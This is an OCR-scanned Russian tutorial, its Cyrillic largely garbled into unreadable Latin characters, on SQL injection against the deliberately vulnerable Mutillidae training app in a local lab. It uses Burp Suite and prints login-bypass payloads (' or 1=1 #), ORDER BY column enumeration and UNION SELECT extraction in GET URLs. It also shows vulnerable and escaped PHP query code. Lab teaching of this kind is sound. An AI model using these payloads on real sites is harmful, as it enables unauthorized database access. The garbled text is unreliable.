Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP

E= 1 Lo

Logged In Admin: admin (Monkey!)
View Captured Data

Logout

Toggle Security Reset DB View Log

X » . :
Documentation Latest Version / Installation
»
Resources « Latest Version

©®

+ Installation Instructions

+ Usage Instructions

+ Getrid of those pesky PHP errors
+ Change Log

+ Notes

hacked...iI::..quality- Samurai WTF and B: ins all the tools or you may build your own collection
tested with Samurai
WTF, Backtrack, —y
Firefox, Burp-Suite, - Q
Netcat, and these
Mozilla Add-ons

back|track

Samurai Web Testing Framework

B uTore Mbl ycrienHo aBTOPU3HPOBAIUCH MOJ] YYETHOM 3alIUChI0 aAMUHUCTPATOPA.

Bbe3zonacnocts — IlpenorBpamenne SQL-uHbeKINH Yepe3 CTPAHULbI
aBTOPU3AIUM.



[Ipomomxaem paccmarpuBarh SQL-UHBEKIINY, U B JAaHHOM CITy4ae 5 Obl
XOTEJ 3aTPOHYTh TEMY 0€30MaCHOCTH U MPEIOTBPAILICHUE UHBEKIIUN Yepes
CTpaHULIbl aBTOPU3ALINY.

IlepeiineM HENMOCPEACTBEHHO K NPAKTUKE, U PACCMOTPUM CaMblii BEICOKUI
ypoBeHb Oe3omacHocTU Ha caifte Mutillidae:

Mozilla Firefox o ® O
Kali Linux, an Offensive Sect. X | § 10.0.2.7/mutillidaefinde: X | +

& c @ ® 10.0.2.7/mutillidae/index.php?page =home.php = @ || Q search I O =
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hacked...err...quality- Samurai WTF and Backtrack contains all the tools needed or you may build your own
tested with Samurai collection
WTF, Backtrack,
Firefox, Burp-Suite, —

Netcat, and these = Q
Mozilla Add-ons %

back|track

@we:;giized @

DTO NOBOJBHO CEPbE3HBIM YPOBEHD 3AIUThI, HO B HEKOTOPBIX CUTYAIUSIX €TI0
MOXHO 000MTH. JlaHHBIN ypOBEHb 0€30MaCHOCTH HE SIBIISECTCS UCAIbHBIM, U
CYILIECTBYIOT BEO-IPUIIOKEHUS ¢ 00JIee BLICOKUM YPOBHEM 3amuThl 0T SQL-
UHBEKIUN.

Haunnaem sKkcniepuMEeHTHPOBATH C 3TUM BE0-CaliTOM, M BBEIEM B T10JIC
«Namey - admin, a B mone «Password» - zzz. HamomuHaro, 4To MbI yke
ckoHHeKTWIMCh ¢ Burp Suite. Kak 310 nenars, s paccMaTrpuBal B
IpEIbIIYIIeH TT1aBe:
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0 ASP Top 10
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Resoun:es Please sign-in
Name admin
Password oo l
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Login
Site
hacked...err...quality- Dont have an account? Please register here
tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these

[lepexBatuuk B Burp Suite paGoTtaert:

Burp Suite Community Edition v1.7.36 - Temporary Project @ O ¢

Burp Intruder Repeater Window Help

[Target Proxy | Spider TScanner Tlntruder TRepeater ISEquem:er TDecher TCnmparer TExtendEr TPrDjectDp‘tinns TUs«Ernptinns T.MEHS ]

[ Intercept | HTTP history T WebSockets history T Options ]

Forwara Drop | Intercept is on | Action Comment this item == u
Raw  Hex

A

"

e

v

(2 (=) (59 (59 [opeseweroer ometche

Kmem knonky «Loginy, U BUIMM NepexBadyeHHbIE TakeThl B Burp:



Burp Suite Community Edition v1.7.36 - Temporary Project 00
Burp Intruder Repeater Window Help

[ Target T Prosy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder TCDmparer T Extender T Project options T User options T.ﬁlerls ]

J Intercept T HTTP history T WebSockets history T Qptions ]

w Request to http;/10.0.2.7:80

L Forward J L Drop J [ Intercept is on ] Action Comment this item

2= 7
_[ Raw T Params T Headers | Hex
POST /mutillidaes/index.php?page=login._php HTTP/1.1 &
Host: 18.8.2.7 -
User-Agent: Mozilla/5.8 (X11; Linux xB6_64; rv:68._8) Gecko/208188181 Firefox/68.8
Accept: text/html, application/xhtmlsxml, application/=ml;g=0.9,%/*;9=0.8
Accept-Language: en-US en;g=0.5
Accept-Encoding: gzip, deflate
Referer: http://18.8.2.7/mutillidae/index._php?page=login.php
Cantent-Type: application/x-wew-form-urlencoded
Content-Length: 57
Cookie: showhints=8; PHPSESSID=73cdde24b3962abBB5b52echeab7414d
Connection: close
Upgrade-Insecure-Requests: 1
username=admin&password=zzz&login-php-submit-button=Login

e

EJEJEJEJ“—I 0 matches

Ham HY>XHO BHCAPUTH MUHH-IKCIIIOUT JJI IIPOBCPKHU, TOYHO TAKIKC, KAK A

nenan panee. Ilepexoanm Ha Bkiaaky «Paramsy, U yKe TaM peIakTUpyeM
Halll TapoJib, HA «zzz" or 1=1 #»:



Burp Suite Community Edition v1.7.36 - Temporary Project @ ® 6

Burp Intruder Repeater Window Help

[Targe‘t T Proxy TSpider TScanner ‘[ Intruder ‘[ Repeater ISEquem:er ‘[ Decoder ‘[ Comparer T Extender ‘[ Project options I User options Thleris ]

J Intercept T HTTP history T WebSockets history ‘[ Options ]

w Reguest to http:/10.0.2.7:80

l Forward J l Drop J [ Intercept is on ] Action

Raw | Params | Headers | Hex

(5]
]
m
n
o

T
un
3|

POST request te /miutillidag/index.php

Type | Name | value
URL page login.php
Cookie showhints o
Cookie PHPSESSID 79cdde24b3362ab085b52echbeab7414d
¥ 1
Body password z==' or 1=1 # 1
= . . ]
T g T

Body enceding: application/s-www-ferm-urlencoded

|

g
3
:

E

PaGotaem mainbliie ¢ mepexBaTYukoM, 1 skMeM KHOTIKY «Forwardy, mist
nanpHenen nepenaun maketos. Kak Buanm, moigydaeM OMIMOKyY
ayTeHTH(UKAIUH:
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Home Login/Register Toggle Security Reset DB View Log View Captured Data
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Dot.umentatmn

Resources

Please sign-in

Name
=T Password
Site ;
hacked...err...quality- Login
tested with Samurai
WTF, Backtrack, Dont have an account? Please register here

Firefox, Burp-Suite,
Netcat, and these

MOXHO NPUWUTH K BBIBOMY, YTO 3Ta CTPAHUIIA JOCTATOYHO 3aIMUIIECHA, TAK KaK
C TAKMMHU HaCTPOMKaMU O€30MaCHOCTH MbI HE MOYKEM OCYIIIECTBUTD
WHBEKIIUIO.

Enie pa3 nmoBTopioch, 4TO 3TO HE CaMblil JIYUIITUA METOJ] 3alllUThl BeO-caiiTa,
HO B 3TOM KOHKPETHOM CJIy4ae 3alluTa JJOCTATOYHO XOPOoIlia.

[TocMOTpUM Ha KOJI aBTOpU3AIIMM 3TOrO CalTa, HA Pa3HbIX HACTPOMKAX
oe3onacHocT. Paznuna B BeipaxkeHuu « SELECT»:



File Edit Search View Document Project Build Tools Help

@ X 2

name="".
me) .

string($password).

Kak BuanM, B IepBOM HE3AIUIIICHHOM BapHaHTE aBTOPU3AIMH PUCYTCTBYET
BeIpaxxeHne «SELECT», u nBe nepemennbie «$usernamey, «$passwordy:



File Edit Search View Document Project Build Tools Help

H v 0O v [& X >~

bquery "SELECT * FROM accounts WHERE username='".
susername
"* AND password='".
$password.

$query "SELECT * FROM accounts WHERE username="'".
$conn->real escape string($username) .
'* AND password'".
$conn->real_escape string($password).

This is Geany 1.33.

CyTb B TOM, 4TO BCe€, YTO BBl BBEAIETE B TEKCTOBOE MOJIE HA CTPAHULIE
aBTOpH3aluK, Oy/lEeT UCIOJB30BaThCS B 3TOM BhIpaxeHHH. BcioMHuM, 4To
UCIOJIb30BajIach (PUIIBTPAIIHs CO CTOPOHBI MOJIb30BATENs, U Mbl €€ OYCHb
Jerko ooxoauiu ¢ nomoibio «Proxy». UtoOsl Mbl He BBeNU B Proxy —
nepenaBaioch B $password (B Harem npumepe).

BcnomuuTe npumep ¢ 1oruHoM «adminy, U KOTa Mbl BBOJUIIH JTIFOOOH
napoiib. [IpencrasieHue B Buae Koma OyAeT BBITVISASTh BOT TaK:



LN *login.php - /home/timcor
File Edit Search View Document Project Build Tools Help

vsﬁEJX v

->real escape string(

i [ S Ty N

line:19/28 col:5 sel:0 INS TAB MOD mode:LF encoding:UTF-8 filetype: PHP  scope: unknown

I[&HHOG BBIPAXXCHUC ABJIACTCS HCTUHHBIM.

A BOT B CiTy4ae C 3allUIIEHHBIM KOJIOM, UCTIONb3yeTCs (yHKIIUS

«real escape_stringy. DTa GyHKIHUS SIBISIETCS CBOCOOPA3HBIM QUIBTPOM, U
yIaJsieT mepexo] Ha HOBYIO CTPOKY, OMMHOYHBIC KaBBIYKH, JBOMHBIC KABBIUKH
U IPyTHE HEIOMyCTUMBIC CHMBOJIBI:



o0
File Edit Search View Document Project Build Tools Help

viO v 8 ¥R X o r v

line:15/28 col:0 sel:0 INS TAB MOD mode:LF encoding: UTF-8 filetype: PHP

scope: un known

KitoueBoit MoMeHT GyHKIMU «real escape string» B TOM, YTO OHA TTOMUMO
bunsrpanyu odpamiieHa OAMHAPHBIMU KaBbIUKaMU, U €CJIM Obl UX HE ObLIO,
MBI MOTJIU OBI ClIeJIaTh UHBEKIIUIO, TUO0 000UTH ATy QYHKIIUIO:



File Edit Search View Document Project Build Tools Help

R X 2 "

e string(

escape string(

Cama pyHKIMS yraisieT TOMOJHUTETbHBIC BHEAPECHHBIC KABBIUKH.
HNudopmarius, KoTopyro Mbl OyZieM BBOJUTH B MOJISI aBTOPU3AIHNH, OyIET
paccMaTpHuBaThCS KaK OOBIYHBIM TEKCT, HO HE KaK KaKOW-JIMOO KO, KOTOPBIH
BBITIOJTHAETCS HA CEPBEPE.

JlaBaiiTe 51 mpuBey NpUMep padOThl JaHHOW 3AILUTHI.
CxomnupyeM HHBEKIINIO, TTO]T MoIb30BaresieM «adminy - «admin' or 1=1#», u
BCTaBUM €€ B HAIll KOJ:



File Edit Search View Document Project Build Tools Help

H v 0O v & X O » -

-»real_escape_string(

->real es e string(

Y

line:9/28 col: 37 sel: 0 INS TAB mode:LF encoding: UTF-8 filetype: PHP  scope: unknown

Kon nmpockannpyeTr BHEAPEHHBIN IKCIUIOWT U YIAJIUT OAUHAPHYIO KaBbIUKY:



File Edit Search View Document Project Build Tools Help

E ~ 0O ~ & X 0 » -~

->real_escape string(

->real escape string(

#

line:9/28 col:44  sel:0 INS TAB mode:LF encoding: UTF-8 filetype: PHP  scope: unknown

KaBpruka Oyzer ynanena, v GyHKIHS TaKKe MPOIAaeT, MOC/E BBITOJIHEHUS.
3anuck OyleT UMEeTh BU/IL;



File Edit Search View Document Project Build Tools Help

2

admin or 1=1#

->real escape string(

o,

line:29/34 col:23 sel: 0 INS TAB MOD mode:LF encoding: UTF-8 filetype: PHP  scope: unknown

Tenepb HYXHO YAAJIWUTb TOYKH, U I[BOﬁHBIC KaBbIYKH:



] nhn - ThomefHimenr
. . pnp - fnomeuimco

File Edit Search View Document Project Build Tools Help

vi:iEJx O P v

[0 S PV

admin or 1=1#

->real escape string(

4  col:10 sel: 0 INS TAB MOD mode:LF encoding:UTF-8 filetype: PHP scope: unknown

3ameThTe, YTO MPUCYTCTBYIOT OAMHAPHBIC KABBIUKHU B KOJIE€. DTO HEKas
nepecTpaxoBKa, U Hallla MHBEKIMS He OyaeT paboTarh, HO €CIu Obl OHU HE
n00aBWIIHM UX B KOJI, Ja)Ke MPHU UCIIOJIb30BAaHUU (DYHKIIMA — 3Ta MHBEKIIUS
cpaborasia Obl.

DTO HE CaMblii JIyUIIUi CrIoco0 3aluThl BeO-calTa, XOTs 3TO HEIJ10Xasl
BpEMEHHas 3al1uTa CauTa.

HNccaenoBanue SQL-unbexkuuii B GET.

[Iponomkaem paccmarpuBath SQL-UHBEKIINHU, U XOTEIOCH ObI
MPOJEMOHCTPUPOBATh UX HA JAPYrou cTpanuiie BeO-mpuiokenus: Mutillidae.

[lepeiinem Ha ctpanuity, kotopas HazbiBaeTcsa «User Infoy. I[yTs g0 a0
CTpaHHMIIBI JISKHUT Yepe3 MEHIO ciieBa Ha caite. Beroupaem « OWASP Top 10»,
nanee «Al — Injection», «SQLi-Extract Datay, «User Info»:
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Documentatlon
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Premy Y

Site View Account Details
hacked...err...quality-
tested with Samurai Dont have an account? Please register here

WTF, Backtrack,
Firefox, Burp-Suite,
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Mozilla Add-ons

.

& Mozilla Firefox seems slow... to... start. | Learn How to Speed It Up | | Don't Tell Me Again ‘ X

HanowmHro, 4T0 B IpeapIAyIIUX IPUMEPaX, Mbl OTKPBIBAJIN CTPAHUILY aBTOPU3ALIMH,
a terepb crpanully «User Info». Ota cTpanuna nokassiBaeT nHGOPMAIHIO, 110
JoruHy ¥ napounto. S BBeny B nosie «Namey, uMs «timcorey, a B nose «Passwordy
TaKke «timcore». B utore noisyyaem BbIBOJ PE3YIbTATOB:
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<« c o ® & 10.0.2.7/mutillidae/index.php?page=user-info.ph - @ ¢ | Q search In @O =
£+ Most Visited "Offenswe Securlty ~ﬁ,l(all Linux '\Kau Docs % KaliTools & Exploit-DB Wy Aircrack-ng g Kali Forums S\ NetHunter >
] oggle Securnty Reset DB ‘lew Logq /lew Laptured Jata ~
View your details
Please enter username and password
to view account details
Name
—T, Password
Site View Account Details
hacked...err...quality-
tested with Samurai Dont have an account? Please register here
WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these | Results for . 1 records found.
Mozilla Add-ons ;
Username=timcore
Password=timcore
Signature=
@webpwnized
]
LS -
£= Mozilla Firefox seems slow... to... start. | Learn How to Speed It Up | | Don't Tell Me Again | X

Bripaxkenne, KoTopoe ObLIO BBITIOJIHEHO, OYCHB TTOX0XKE, YTO U OBLIO TIPH OOBITHOM
aBTopuzammu. OHo umeno Bua: «Select * from accounts where username =
»SUSERNAME* and password=, $PASSWORD*“».

MoskeM paccMaTpHBaTh €I OUH CII0CO0 MCITOIB30BaHUS 3TON YI3BUMOCTH. MBI
paHee paccMaTpuUBaId IPUMEPBI C UCTIOIB30BaHUEM TeKCTOBOTO 1mojst POST.
Hcxoas n3 MexaHuKy 3TOTO METOj1a, BCsl MH(OpMaIvs OTIIPaBIIsIach U3 MoJieH
BBOJIa, mocpeactsoM POST.
OTH ya3BUMOCTH Takxke npuMmeHuMbl k Mmetony GET. Kak Bel yxke noraganuce,
HaMm noHanooutcs URL cTpaHulibl, A1l SKCIUTyaTalluK 3TON YSI3BUMOCTH.
[Tepeiinem B URL, u n1Ba mapameTpa OyayT MOCBSIIEHBI JJOTUHY U TAPOJIIO,
KOTOPBIU 51 BBOJWIL:
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Mozilla Firefox oo
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View your d

Site

hacked...err. Iit
tested with Samurai

WTF, Backtrack,

Please enter username and password
to view account details

Name

Password

Dont have an account? Please register here

Firefox, Burp-Suite,
Netcat, and these

Results for . 1 records found.

Mozilla Add-ons

Username=timcore
Passwords=timcore
. Signature=

@webpwnized

o}
&/
Mutillidae
Channel

Developed by Adrian
| " Crenshaw
and Jeremy Druin

# Mozilla Firefox seems slow.. to... start.

Browser: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
PUD Vo imms £ % A SebeeminE 10

Learn How to Speed It Up Don't Tell Me Again | X

Jagaiite mopaboraem ¢ 3tuM URL-aznpecom, Tak Kak B HEKOTOPBIX CUTYalUsIX Y
Hac He Oy/eT Mmojei aBTopu3alnu, 1 MOXKHO OyzieT mopaboTaTh C a[pecoM.

On umeert Bug «index.php?page=user-
info.php&username=timcore&password=timcore&user-info-php-submit-
button=View+Account+Details»:

®ain [lpaska [Monck MNapameTpsl CrpaBska

*SQL GET o0 0

Select * from accounts where username = '$USERNAME' and password='$PASSWORD'

index.php?page=user-info.php&username=timcore&password=timcore&user-info-php-submit- button:View+Accnunt+Details\

B 0011eM MbI onbITaeMcs cienarh HHBEKLUIO B MoJIe «usernamey. OTmeuy, 4To
KKl pa3, koraa Bel BunuTe Takue napamerpel, Bam npocto Heo0XoqumMo
MONBITATHCS CAETIATh UHBEKIUIO B HUX. TE€CTUPYNTE UCTUHHBIE U JIOKHBIC
BBIPAKEHHUS, TaK KaK MbI MCIIOJIb30BaJIM B IPEbIAYIIUX MpUMEpax, Takue kKak «and

1=1», m «and 1=2».

MBI Tak)ke MOXKEM HCIIOIb30BaTh BeIpakeHue «order by». Beipaxkenue «order by»
UCITOJIB3YETCS JUTSl OTPAHMYCHUS KOJIMUECTBA 3aiCcel, KOTOphIe OyayT
0TOOpaXeHBI Ha PKpPaHe. 3aMrcCh B MapaMeTpe «usernamey MpuMeT BU/T:

«timcore* order by 1»:

®aiin [lpaka [lMowck [MapameTpbl Cripaska

*SQL GET - o)

Select * from accounts where username = '$USERNAME' and password='$PASSWORD'

index.php?page:user-iﬂfo.phpslusername:tlimcnre' order by leassword:timcore&user-infn-php-submit-button:\.’iew+Account+Details

[To unee, mpu BeipakeHuu «order by 1», 1ommkHa ObITE BEIOpaHa XOTS ObI OTHA

3aIItChb.



HyxHo enie 106aBUTh KOMMEHTapUii B BUJIE pEUIETKU «#». Bee, Kak U paHblie:

*SQLGET

®ain [lpaska [lMowck [apameTpbl Crpaska
Select * from accounts where username = '$USERNAME' and password='$PASSWORD'

index.php?page:user—infn.php+username=timcore' order by 1##@55sword=timc0re&user—infn—php—submit—buttnn:\.’iew+Account+Details

B Opay3epe koz noikeH ObITh 3au(poBaH, U €CIH sl XOUYy BCTaBUTh 3HAK «#», B
URL, MHE HEOOXOAMMO MEPEKOIUPOBATH €r0 B CUMBOJIBI U ITUGPBI «%23», a
npo0en, K mpumMepy npeodpasyercst B «%20».

DTy UHPOPMALIUIO S JIETKO Y3HAJ U3 MMOMCKOBUKA, C TIOMOIIBIO OHJIAMH JIEKOJEPOB.
OHU JIeTKO HaXOJATCS B CETH, TaK YTO 3TO HE COCTABUT TPY/Ia.

JlaBaiiTe BcTaBuM Hairy 3anuch B URL, 1 BcTaBUB BMECTO CUMBOJIa KOMMEHTApUS

Mezilla Firefox

§ 10.0.2.7/mutillidaefinde: X | +

Documentation

®

Please enter username and password
to view account details

Password

e 0

€)= C @ Q_ 0.2.7/mutillidaefindex.php?page =user-info.php&usernamg =timcore' order by 1%23§password=timcore&user-info-php-submit-button=View +Account+ Q search n o =
£+ Most Visited [ Offensive Security ' KaliLinux %, KaliDocs ", Kali Tools % Exploit-DB W Aircrack-ng gl Kali Forums “\, NetHunter “, Kali Training @ Getting Started
| — ~

hacked...err...quality-
tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these
Mozilla Add-ons

Site View Account Details

Dont have an account? Please register here

Results for . 1 records found.

Usernames=timcore
Password=timcore
Signature=

@webpwnized

Al

*SQL GET © e 0
daiin Mpaska Mouck Mapamerpsl Cnpaska
Select * from accounts where username = '$USERNAME' and password='$PASSWORD'
" index.php?page=user-info.php&username=timcore' order by l#&password=t1mccre&user-info-php-submit-button:Viaw-v-Account+Deta115\ I
23 ~

al

W, xak BUIMM, y HacC BCE NOJYYWIOCH. J[ake mpoiesn BBIBO BCEX 3aIMCEH, €
JOTHHOM «timcorey. [Tapons urHopupyercs, 1 UHbEKLHUs cpadoTana:
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Site
hacked...err...quality-
tested with Samurai

WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these

Mozilla Add-ons

Name
Password

View Account Details

Dont have an account? Please register here

= O 7] | Q Searc

e e

In @

f 1
I Results for . 3 records found. |
1 T

Username=timcore
Password=timcorel

Signature=
ik Username=timcore
@wErpipizag Password=timcore
[ — Signature=
& | Username=timcore
. Password=123
N::':‘t:'l:::le Signature=ttt

Developed by Adrian
1 " Crenshaw
and Jeremy Druin

Browser: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
PHP Version: 5.2.4. 10

The newest version of Mutillidae can downloaded from Irongeek’s Site -

Don't TellMe Adain  |'X

#= Mozilla Firefox seems slow... to... start. Learn How to Soeed It Up

[Ipennarato oTpegakTUPOBATh HAII MapaMeTp, B yacTHocTu nudpy 1 Ha 50 000
(mnst mpumepa). CailT HeOOJIBIIIOH, TOATOMY OYEHB BBICOKA BEPOSITHOCTh, 4TO S0
000 3ammceit mpoCTO HET. BBIMOIHUM 3Ty KOMaHLY:

Moxzilla Firefox (- O <)
$ 10.0.2.7/mutillidaefinde: X | 4+
<) C @ ® & 10.0.2.7/mutillida P : fer by 50000%238&passw phy Q% Q o =
£+ Most Visited [f] Offensive Security \ KaliLinux “\ KaliDocs '\ Kali Tools & Exploit-DB W Aircrack-ng g Kali Forums \ NetHunter '\ Kali Training @ Getting Started
[rmenaion | v “
Please enter username and password

to view account details

Name

)

Site
hacked...err...quality-
tested with Samurai

WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these

Mozilla Add-ons

Password

View Account Details

Dont have an account? Please register here

Error: Failure is always an option and this situation proves it
126

@webpwnized

™
&)
Mutillidae
Channel

#0 /var/www/mutillidae/index.php(469): include() #1 {main}
#SELECT * FROM accounts WHERE username='"timcore' order by 50000#' AND password="timcore’
Did you setup/reset the DB?

Developed by Adrian
"Irongeek" Crenshaw

and laramu Nruin

#= Moxzilla Firefox seems slow... to... start. Learn How to Speed It Up Don't TellMe Again | X

Kak BuanMm, mpoun3omnnia ommoOka B COPTUPOBKE, TaK KaK HE CYIIECTBYET CTONOIA B
B utore, MbI 3HaeM, 4yTO 6a3a JaHHBIX UCIOJIHSIET HALIM KOMaH/Ibl, a TAKXKe, YTO
CYILIECTBYIOT YA3BUMOCTHU K SQL-UHBEKIIHSAM.

Yuraem nuHpopManuio u3 6a3bl JaHHBIX.

[Tponomxkaem paborath ¢ HamuM BeO-caiitom Mutillidae, n monpobyem

OTPENETIUTh, CKOJIBKO CTOJOLIOB MOXKET OTOOpaxarbCs Ha 3TOM CTpaHUIIE.
BcnoMHuM nipeabayiui npuMep, 1 oH OyZIeT HEMOCPEACTBEHHO CBSI3aH C



TanpHEHIMMU aramMu. Bot Hamma cTpanwuiia, ¢ KOTOpoi Mbl paboTaau B IPOIIIIOM
npuMepe:

Mozilla Firefox [-INC]}

t 10.0.2.7/mutillidaefinde: x | +

= C ® & 10.0.2.7/mutillidaefindex.phppage =user-info.php&username=timcore' order by 50000%23&password=timcore&user -info-php-submit-but o @ || Q Search I @
£ Most Visited [l Offensive Security &, KaliLinux S, KaliDocs % KaliTools s Exploit-DB W Aircrack-ng g Kali Forums s, NetHunter '\, KaliTraining @ Getting Started

- | Please enter username and password

to view account details
0 Name
o~

Password

Site View Account Details

hacked...err...quality-

tested with Samurai Dont have an account? Please register here
WTF, Backtrack,

Firefox, Burp-Suite,

Netcat, and these Error: Failure is always an option and this situation proves it
Mozilla Add-ons 136

Ivar/wwwimutillidae/user-info.php

@webpwnized _iiError executing query: Unknown column ‘50000 in ‘order clause'
#0 Jvar/www/mutillidae/index.php(469): include() #1 {main}
SELECT * FROM accounts WHERE username="timcore' order by 50000#' AND password="timcare’

B | i mamaion G oWt LR e ot s 0

Mutillidae Did you setup/reset the DB?

Channel

Developed by Adrian
Hi " Crenshaw
and Jeremy Druin

Browser: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

PHP Version: 5.2.4-2ubuntu5.10

The version of Mutillidae can downloaded from Irongeek's Site

Kak BuinM, MHOTO HH(pOpMAIMK 0TOOpaXaeTcsl B IOJIE C OLIMOKaMH.

JUia nanbHEWIIMX MaHUIYIALMNA, Mbl OyJIeM HCIONIb30BaTh KoMaHay «order by».
Bcenomuanm, yto komanaa «order by» co 3HaueHueM | BBIBOJMIIA yUETHBIE 3aIUCH,
a 3Hadenue 50 000 BBIBOAMUIIO OLIUOKY.

JaBaiiTe nonpoOyem 3HaueHue «10»:

Mozilla Firefox [- O]
§ 10.0.2.7/mutillidae/inde: X | =+

&> ¢ @ @ & 10.0.2.7/mutillidae/index.phpZpage =user-info.php&username =t srd=timcore&user-info-php-submit-button= | | Q search [\in}

% Most Visited [fl] Offensive Security '\, Kali Linux " KaliDocs *\, KaliTools % Exploit-DB W Aircrack-ng g4 Kali Forums “\ NetHunter "\ KaliTraining @ Getting Started

1 WINEY JVWI WMwLWing |
0 <:§ Back
Documentation L4

Please enter username and password
to view account details

Name
P Password
Site View Account Details
hacked...err...quality-
tested with Samurai Dont have an account? Please register here

WTF, Backtrack,
Firefox, Burp-Suite,

Netcat, and these Error: Failure is always an option and this situation proves it
L T I R e

Jvar/www/mutillidae/user-info.php

@webpwnized Error executing query: Unknown column '10' in ‘order clause’
[y I _#0 ivar/wwwimutilidae/index.php(469): include{) #1 {main} .
'ﬂ_l Diagnotic Information  SELECT * FROM acc "_]
Mutillidae \ you
Channel

Developed by Adrian

OTO0 3HAYCHUE BbIAACT OIHI/I6Ky NHbpIMU CJIOBaMH, 3HAYCHUC JOJIDKHO OBITH
MCHBIIIC.
3arecTuM 3HaAYEHHUE «5»:



Mozilla Firefox e
¥ 10.02.7/mutillidaefinde: X | +

<« Cc o @ £ 10.0.2.7/mutillidaefindex.php?page =user-info.php&username =timcore] order by 5§623&password=timcore&user-info-php-submit-button=V | | Q Search N @ =
£ Most Visited [ Offensive Security %, Kali Linux %\, KaliDocs %, Kali Tools  Exploit-DB W Aircrack-ng g Kali Forums %, NetHunter *\ Kali Training @ Getting Started

——— | vView your aetalis | =
o < -

»
Documentation g
»

Please enter username and password

©

to view account details

Password

Site View Account Details

hacked...err...quality-

tested with Samurai
WTF, Backtrack,

Firefox, Burp-Suite,
Netcat, and these Results for . 3 records found.

Mozilla Add-ons

Dont have an account? Please register here

Username=timcore
Password=timcorel
Signature=

Username=timcore
Password=timcore
Signature=

@webpwnized

™
ﬁ 1 Username=timcore
= Password=123
Mutillidae _
G Signature=ttt
Developed by Adrian >

Bce paboraer.

Tenepb BBCJACM 3HAYCHHUC «b»:

Mozilla Firefox e e 0
$ 10.0.2.7/mutillidae/inde: X | +
“ o> c @ ® & 10.02.7/mutilidaefindex.php?page =user-info.php&usernames=timcore' order fy 6§s23&password=timcoreguser-info- php-submit-button= O | Q sear n o =
£ Most Visited [l Offensive Security \ Kali Linux "\ KaliDocs "\ Kali Tools & Exploit-DB W Aircrack-ng gl Kali Forums \ NetHunter *\ KaliTraining @ Getting Started

Documentation

Resources ‘ Please enter username and password

to view account details

Name

=1
©®

Password

Site View Account Details
hacked...err...quality-

tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these
Mozilla Add-ons

Dont have an account? Please register here

@webpwnized

[’\‘1 Trace i#0 /var/www/mutillidae/index.php(469): include() #1 {main}
ﬁ‘ I Diagnotic Information: CT * FROM accounts WHERE user; re' order by 6#' AND password="timcore' l
Mutillidae Did you setup/reset t
Channel

Developed by Adrian
- " Crenshaw
and Jeremy Druin

Buaum ommobKy, a 3To 3Ha4YUT, UTO B TAOIHIIE CYIIECTBYET 5 CTOJIOIOB.
CrnenyronuM maroMm OyaeT co3aaHue coocTBeHHOTO BoipaxeHus « SELECT».
OObIYHO /17151 BBIBOAA UCIIONB3YeTCs caenytonuii popmar: «Select * from accounts
where username = 'SUSERNAME' and password='$PASSWORD'», HO Tak KaK MbI
neITaemcs Bee caenarh yepe3 URL, HaMm npugeTcst B Hauasie BhIpaKeHUs
nponucats komanay « UNION». Ham mpocTo HyHO IpeACTaBUTh, YTO
MIPOUCXONT B 3TOM MPHUJIOKEHUU. MBI YK€ 3HaeM HEKOTOPYIO HH(GOPMAIIHIO TI0
TabIuIE caiiTa, a IMEHHO B HEM MPUCYTCTBYET S5 3amucei, u BeIpakeHue Oyner
NpUHUMaTh BU: «union select 1,2,3,4,5». BcraBum B crpoky URL Harire
BbIpa)KEHHE, KOTOPOE MPUHUMAET HOpMY:




SQL GET

OTkpbITs ¥ H | ‘ /Desktop

order by

php-submit-button=View+Account+Details

union select 1,2,3,4,5

index.ph ?page=user—infn.php&usernamr?,:timcnre'[ union select]
1,2,3,4,%&&passwnrd=timcnre&user—infn—php—submit—buttnn=View+Accnunt+Details

CoxpaHuTs H E‘ (I CTI <

Select * from accounts where username = '$USERNAME' and password='$PASSWORD'

index.php?page=user-info.php&username=timcore' order by l#&password=timcore&user-info-

Teket *  Wupuna Tabynauun: 8 Crp10, Ctnb 1 BCT
Bcerasnsem 3ty komanay B ctpoky URL, u mosryyaem BBIBOA:
Mozilla Firefox o0
§ 10.0.2.7/mutillidae/inde: x | +
«)=> @ & ® & 10.0.2.7/mutillidae/index.php?page=user-info.php&username=timcore] union select 1,2,3,4,5}623&password=timcore&user-info-php-submit ¥ || Q Search In @ =

2+ Most Visited [l Offensive Security \, Kali Linux *\ KaliDocs "\ Kali Tools = Exploit-DB W Aircrack-ng iUl Kali Forums "\, NetHunter *\, Kali Training @ Getting Started
R riease enwer username anua Pﬂbhwul'u
to view account details

Name
o Password
Site View Account Details
hacked...err...quality-

tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite, |

Dont have an account? Please register here

Netcat, and these Results for . 4 records found.

Mozilla Add-ons .
Username=timcore

Passwords=timcorel

‘LQ Signature=

User timcore
- Password=timcore
r Signature=
™
& { Usernames=timcore
illid: Password=123
Mutillidae
Channel Signature=ttt

Username=2
Password=3
Signature=4

Developed by Adrian
“Irongeek" Crenshaw
and Jeremy Druin

Browser: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

PHP Version: 5.2.4-2ubuntu5.10

The version of Mutillidae can downloaded from Irongeek's Site

Bce cpaboraino xopoiio, ¥ 3T0 nepBasi BRBIOOpKa U3 TaOJIUIIBI.

OO6paruTe BHUMaHUE Ha TTOCIAEAHUN BBIBOJ 3anch. 3Ha4eHUs 2,3,4 MOXKHO
M3MEHSAThH B HaIlleH KOMaHAe, JiJis 0oJiee IIyOOKOTro n3yueHus 0a3bl TaHHBIX.

Moxem nonpo6oBaTh TPOCMOTPETH HaIly 0a3y IaHHbBIX, U BMECTO 3Ha4eHuit 2,34,

A BBEAY HMCHOBAHHUC CTOJI6IIOB:




SQL GET
~(Desktop

OTKpbITE = H El‘ CoxpaHuTh H = | o e O
Select * from accounts where username = '$USERMAME' and password='$PASSWORD'

order by

index.php?page=user-info.php&username=timcore' order by 1l#&password=timcore&user-info-
php-submit-button=View+Account+Details

